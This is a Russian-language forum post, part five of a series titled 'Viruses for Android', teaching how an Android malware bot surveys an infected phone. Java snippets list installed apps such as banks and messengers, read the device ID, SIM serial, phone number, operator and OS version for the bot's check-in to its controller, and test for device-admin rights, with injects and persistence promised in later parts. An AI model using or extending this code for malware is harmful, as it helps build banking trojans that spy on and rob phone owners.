• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Вирусы под Android. №5 (Флора и фауна)

waydam

Резидент
Сообщения
332
Реакции
336
0 руб.
Telegram
Доброго времени суток, мы рассмотрели основные моменты и теперь должны понять как вести себя внутри телефона. Для этого нужно знать: списки установленных приложений, мессенджеров, банков и так далее.


Друг вокруг
Первым делом окинем взором окрестности, напишем простой и незамысловатый код:
Код:
PackageManager pm = cnt.getPackageManager();
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
for (ApplicationInfo packageInfo : packages) {
try{
//packageInfo.packageName
//packageInfo.sourceDir
//pm.getLaunchIntentForPackage(packageInfo.packageName)
} catch (JSONException e) {

}
}
packageInfo.packageName – это имя пакета
packageInfo.sourceDir – путь к корневой папке приложения
pm.getLaunchIntentForPackage (packageInfo.packageName) – имя запускаемой Activity, очень важный параметр для инжектов, мы это опишем в дальнейших частях.

Этой информации будет достаточно, чтобы понять какие и где стоят приложения. Если рассмотреть класс packageInfo, там будет больше информации, но она не особо интересна. В реальном коде Tryи JSONException использовать не обязательно.

Собираем информацию о системе
Создаем объект телефонного менеджера.

Код:
TelephonyManager tm = (TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE);

Код:
tm.getDeviceId()
Возвращает ID устройства, который можно использовать в отстуке, так как это уникальное значение для каждого аппарата, которое нельзя изменить.

Код:
tm.getNetworkCountryIso()
Получаем страну устройства

Код:
tm.getSimOperatorName()
Получаем сотового оператора.

Код:
android.os.Build.VERSION.RELEASE
Очень важный параметр, вам придется его часто использовать. Почему? Некоторые фишки работают только для 2.х или 4.х телефонов. И нам придется разграничивать из вручную. Может быть так, что системная функция устарела, или изменила число параметров. В этом случае мы прибегаем к SDK и параметру.

Пример:
Код:
if(Build.VERSION.SDK_INT >= 19) {
//работаем с версией 4.х
}else{
//работаем с версией 2.х
}

Код:
android.os.Build.MODEL
Получаем модель устройства, важный параметр, ибо чем сложнее бот, тем больше приходится учитывать специфику разных прошивок.

Код:
tm.getLine1Number()
Параметр иногда возвращает номер телефона, иногда нет. Нужен для идентификации самого абонента. Так же по номеру можно узнавать город и оператора.
Код:
tm.getSimSerialNumber()
Серийный номер сим карты.

Будьте бдительны, последние два параметра указаны для телефонов с 1 сим-картой. Для двух, команды похожие, но это нужно контролировать.

Админ, ты где?
Рассмотрим проверку, есть ли у нас права администратора. Само получение оставим до следующих статей про закрепление.
Код:
DevicePolicyManager deviceManager = (DevicePolicyManager) context.getSystemService(context.DEVICE_POLICY_SERVICE);
ComponentName componentName = new ComponentName(context, CAdm.class);
if (!deviceManager.isAdminActive(componentName)) {
//нету админа
}else{
//есть админ
}

Приплыли
Это минимальный список параметров, которые мы должны обязательно обработать, чтобы правильно принимать решение в среде чужого телефона. Обычно их включают в отстук и они могут измениться. Поэтому проверяй-те их почаще.

6ая часть: http://vlmi.top/threads/virusy-pod-android-6-monitoring-prilozhenij.2158/
 
Последнее редактирование:
Сверху Снизу